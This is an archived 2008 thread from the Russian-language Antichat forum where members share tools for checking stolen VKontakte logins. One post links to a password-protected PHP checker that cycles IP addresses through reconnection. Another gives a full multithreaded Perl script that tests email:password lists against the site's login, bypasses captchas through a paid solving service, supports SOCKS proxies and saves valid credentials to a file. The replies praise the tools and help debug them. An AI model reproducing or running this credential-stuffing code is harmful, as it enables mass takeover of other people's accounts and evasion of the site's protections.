ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

16.12.2008, 20:09
|
|
Участник форума
Регистрация: 27.11.2007
Сообщений: 282
Провел на форуме: 1435337
Репутация:
109
|
|
и тишина...))
|
|
|

16.12.2008, 20:13
|
|
Постоянный
Регистрация: 29.05.2007
Сообщений: 852
Провел на форуме: 4832771
Репутация:
1916
|
|
Сообщение от *DeViL*
и тишина...))
а вдиль дорогы мертвиe з косамы стоять...
|
|
|

18.12.2008, 02:58
|
|
Banned
Регистрация: 27.08.2007
Сообщений: 159
Провел на форуме: 994336
Репутация:
171
|
|
VK chekker by Kraken
Чеккер акаунтов Вконтакте
Сразу говорю подойдет не всем.
1.Запускать на своей машине
2.Нужен динамичесский ip
Скрипт
1.показывает id рейтинг количество друзей
2.выделает цветом аккаунты (по рейтингу и по друзьям)
3.Сохраняет в файл.
Скрипт работает на основе переподключения интернета(автоматически).З ночь чекает ~10к акаунтов (скорость зависит от % соотношения валидных и невалидных т.е.от количества переподключений)
http://upwap.ru/248645
pass krakeN
()
P.S. Скрипт написан мной.
|
|
|

18.12.2008, 03:20
|
|
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
Провел на форуме: 5386281
Репутация:
1177
|
|
Да тебе в РОА нужен!
По теме: скрипт хороший! СПАСИБО! Молодец =)
|
|
|

18.12.2008, 09:54
|
|
Познающий
Регистрация: 09.05.2008
Сообщений: 67
Провел на форуме: 690048
Репутация:
13
|
|
Сообщение от !{ra!{e/\/
Чеккер акаунтов Вконтакте
Сразу говорю подойдет не всем.
1.Запускать на своей машине
2.Нужен динамичесский ip
Скрипт
1.показывает id рейтинг количество друзей
2.выделает цветом аккаунты (по рейтингу и по друзьям)
3.Сохраняет в файл.
Скрипт работает на основе переподключения интернета(автоматически).З ночь чекает ~10к акаунтов (скорость зависит от % соотношения валидных и невалидных т.е.от количества переподключений)
http://upwap.ru/248645
pass krakeN
()
P.S. Скрипт написан мной.
Fatal error: Maximum execution time of 30 seconds exceeded in E:\wamp\www\vkk.php on line 106
Что это за ошибка?
|
|
|

18.12.2008, 11:15
|
|
Флудер
Регистрация: 20.11.2006
Сообщений: 3,316
Провел на форуме: 16641028
Репутация:
2371
|
|
fasty, видимо на твоем хостинге отключена функция set_time_limit(0);
|
|
|
[perl] Vkontakte Checker by [dei] |

18.12.2008, 20:20
|
|
Участник форума
Регистрация: 24.11.2008
Сообщений: 205
Провел на форуме: 1123418
Репутация:
362
|
|
[perl] Vkontakte Checker by [dei]
[ Чеккер аккаунтов Vkontakte ]
Достоинства:
- многопоточность
- обход каптчи
- работа через socks proxy
Для работы нужно:
- создать папку tmp с правами на запись
- прописать в скрипте ключ anti-captcha.com
- perl модули IO::All и LWP::Protocol::Socks (и возможно другие)
Код:
#!/usr/bin/perl -w
###############################
# Vkontakte.ru Accounts Checker
# (c) [dei] 369-476-512
###############################
############ Config ###############
$threads = 10; # количество потоков
$use_socks = 0; # 1/0
$socks = 'xxx'; # socks - proxy:port
$key = 'c53780b0dbebd2da836447f1c4bd2000'; # anti-captcha.com key
$acs = 'acs.txt'; # аккаунты
$goodacs = 'goods.txt'; # отчеканые аки
################################
use LWP::UserAgent;
use HTTP::Request::Common qw(GET POST);
use MIME::Base64 qw(encode_base64);
use IO::All;
use IO::Handle;
use threads;
sub login( $$ ) {
my $em = $_[0];
my $pa = $_[1];
$em =~ s/@/%40/;
my $ua = LWP::UserAgent->new;
if($use_socks) { $ua->proxy([qw(http https)] => 'socks://'.$socks); }
$ua->agent('Opera/9.62 (Windows NT 6.0; U; ru) Presto/2.1.1');
my $req = HTTP::Request->new(POST=>'http://vkontakte.ru/login.php');
$req->referer('http://vkontakte.ru/');
$req->content_language('ru');
$req->content_type('application/x-www-form-urlencoded');
$req->content("email=$em&pass=$pa");
my $result = $ua->request($req);
if($result->code == 302) { return 1; }
else {
while($result->content =~ /<IMG SRC='http:\/\/vkontakte\.ru\/(captcha\.php\?sid=([^']*))'\/>/i)
{
if(!($code = anticaptcha('http://vkontakte.ru/'.$1))) {
print "captcha problems\n"; return 0; }
my $sid = $2;
$req = HTTP::Request->new(POST=>'http://vkontakte.ru/login.php');
$req->referer('http://vkontakte.ru/login.php');
$req->content_language('ru');
$req->content_type('application/x-www-form-urlencoded');
$req->content('email='.$em.'&pass='.$pa.'&ccode='.$code.'&csid='.$sid);
$result = $ua->request($req);
if($result->code == 302) { return 1; }
else {
if($result->content =~ /<div id='message'>/) {
my $u = "http://anti-captcha.com/res.php?key=$key&action=reportbad&id=$cid";
$ua->request(GET $u);
next;
}
else { return 0; }
}
}
}
}
sub myrand( $ ) {
$int='';
for($i=1;$i<=$_[0];$i++) { $int .= int(rand(10)) }
return $int;
}
sub anticaptcha ( $ ) {
my $url = $_[0];
my $fname = 'tmp/'.myrand(6).'.jpg';
my $ua = LWP::UserAgent->new;
$ua->agent('Opera/9.62 (Windows NT 6.0; U; ru) Presto/2.1.1');
my $count = 1;
while( my $result = $ua->request(HTTP::Request->new(GET=>$url), $fname)) {
my $u = 'http://anti-captcha.com/in.php';
$answ = $ua->request(POST $u,
Content_Type => 'form-data',
Content => [ method => 'base64',
key => $key,
body => encode_base64( io($fname)->all ),
ext => 'jpg'
]);
unlink $fname;
if(!($answ->is_success)) { $count++; print "redo\n"; redo; }
if($answ->content =~ /^OK\|(\d+)$/) {
$cid = $1;
sleep(7);
if(my $code = getccode($cid)) { return $code; }
}
else { if($answ->content =~ /ERROR_NO_SLOT_AVAILABLE/ ||
$answ->content =~ /ERROR_IMAGE_IS_NOT_JPEG/) { print next; }
}
if($count == 5) { print "Cannt connect to Anti-Captcha.\n"; return 0; }
return 0;
}
}
sub getccode ( $ ) {
my $cid = $_[0];
my $count = 1;
my $ua = LWP::UserAgent->new;
$ua->agent('Opera/9.62 (Windows NT 6.0; U; ru) Presto/2.1.1');
while(my $c = $ua->request(HTTP::Request->new(
GET=>"http://anti-captcha.com/res.php?key=$key&action=get&id=$cid")))
{
$cap = $c->content;
if($cap =~ /^OK\|(.+)$/) { return $1; }
else {
if($cap =~ /^ERROR.+/) {
print "[error]\n";
return 0;
}
}
if($count == 10) { return 0; }
$count++;
sleep(5);
}
}
sub check( $ ) {
local $c = $_[0];
my @a = io($acs)->slurp;
for(my $i=$c;$i<scalar(@a);$i+=$threads) {
my $line = $a[$i];
$line =~ s/\n|\r$//g;
my($e,$p)=split(':',$line);
if(login($e,$p)) {
print "[GOOD] ".$e."\n";
print GD "$e:$p\n";
} else {
print "[BAD] ".$e."\n";
}
}
}
my @threadz;
open(GD,"> $goodacs");
GD->autoflush(1);
for my $i (0..($threads-1)) {
push @threadz, threads->create(\&check, $i);
sleep(3);
}
foreach my $thread (@threadz) {
$thread->join();
}
Последний раз редактировалось [dei]; 18.12.2008 в 21:12..
|
|
|

18.12.2008, 20:23
|
|
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме: 9098076
Репутация:
4303
|
|
ещё один
|
|
|

18.12.2008, 20:30
|
|
Флудер
Регистрация: 20.11.2006
Сообщений: 3,316
Провел на форуме: 16641028
Репутация:
2371
|
|
python, perl, php
|
|
|

18.12.2008, 20:50
|
|
Reservists Of Antichat - Level 6
Регистрация: 23.08.2007
Сообщений: 1,237
Провел на форуме: 18127311
Репутация:
1676
|
|
Ты бы хоть валидные акки по ходу работы в файл записывал, а не после окончания...
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|